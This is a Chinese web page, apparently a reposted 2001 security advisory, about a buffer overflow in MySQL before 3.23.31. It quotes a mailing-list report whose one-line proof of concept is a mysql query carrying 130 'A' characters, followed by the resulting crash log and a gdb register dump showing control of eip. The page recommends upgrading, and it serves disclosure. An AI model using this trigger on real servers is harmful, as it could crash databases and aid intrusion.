MySQL3.23.31之前版本的安全漏洞

发表日期：2001-5-11

新浪微博 QQ空间 QQ微博百度搜藏腾讯朋友 QQ收藏百度空间人人网开心网

所有小于 3.23.31 版本的 MySQL 都存在一个缓冲溢出漏洞导致MySQL 崩溃。使攻击者获得 mysqld 权限，而可以操纵所有数据库。攻击的前提是必须有一个合法的登录名和口令。

下面为最初发表于 MySQL 邮件列表的信件摘要。

==================================================

漏洞是由Jo?o Gouveia 于1月12日发现的：

步骤：

在第一个终端上启动 mysql：

spike:/var/mysql # /sbin/init.d/mysql start

在另外一个终端上输入：

jroberto@spike:~ > mysql -p -e ’select a.’`perl -e’PRintf("A"x130)’`’.b’

Enter passWord:

(没有反应？按^C退出)

在第一台终端上会显示：

spike:/var/mysql # /usr/bin/safe_mysqld: line 149: 15557 Segmentation fault

nohup

$ledir/mysqld --basedir=$MY_BASEDIR_VERSION --datadir=$DATADIR --skip-lockin

g "$@" >>$err_log 2>&1>

Number of processes running now: 0

mysqld restarted on Fri Jan 12 07:10:54 WET 2001

mysqld daemon ended

使用 gdb 显示结果如下：

(gdb) run

Starting program: /usr/sbin/mysqld

[New Thread 16897 (manager thread)]

[New Thread 16891 (initial thread)]

[New Thread 16898]

/usr/sbin/mysqld: ready for connections

[New Thread 16916]

[Switching to Thread 16916]

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) info all-registers

eax 0x1 1

ecx 0x68 104

edx 0x8166947 135686471

ebx 0x41414141 1094795585

esp 0xbf5ff408 0xbf5ff408

ebp 0x41414141 0x41414141

esi 0x41414141 1094795585

edi 0x0 0

eip 0x41414141 0x41414141

eflags 0x10246 66118

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x0 0

gs 0x0 0

其中的 eip 指示就是缓冲溢出了。

解决办法就是升级到 3.23.31。所以，各位如果还没有把数据库升级到最新版本，请赶快行动。

关注此文的读者还看过：
·2012-5-17 12:06:55 MySQL下数据表混乱的字符编码处理以及一些处理字符编码时的常用命令整理
·2012-5-17 12:06:38 初学者在使用MySQL时必须了解的注意事项
·2012-5-17 12:03:46 教你如何解决453h安装在mysql 4.1 以上的UTF8数据库中造成的乱码和安装失败问题
·2012-5-17 12:03:12 MYSQL出错代码列表
·2012-5-17 11:59:50 mysql 密码设置与授权
·2012-5-17 11:59:49 MySQL字段类型说明
·2012-5-17 11:57:19 mysql日期和时间格式转换
·2012-5-17 11:56:45 如何将Access和Excel导入到Mysql中之二
·2012-5-17 11:53:32 mysql语句中用if的例子

站长推荐 PS笔刷下载在线翻译系统进程广告代码

发表评论
姓　名:	验证码:
内　容:

教程搜索服务

项目外包信息

·UI界面设计
·产品外观改版设计 15000元
·照明灯具网站设计 10000元
·求长期合作网站设计制作高手
·做B2C网站 20000元
·Android或QT软硬件平台设计（工
·网站首页FLASH
·网站PSD稿设计
·企业网站整站网页设计（美观大气
·网站页面设计及套入程序
·UI界面设计
·产品外观改版设计 15000元
·照明灯具网站设计 10000元
·求长期合作网站设计制作高手
·PPT设计

发布信息

浏览信息

邮件订阅服务

输入你的邮件地址，你将不会错过任何关于<MySQL教程>的内容

数据教程文章分类

SQL教程
SQL技巧
SQL安全
SQL文摘
Oracle教程
MySQL教程
Access教程
DB2教程
Sybase教程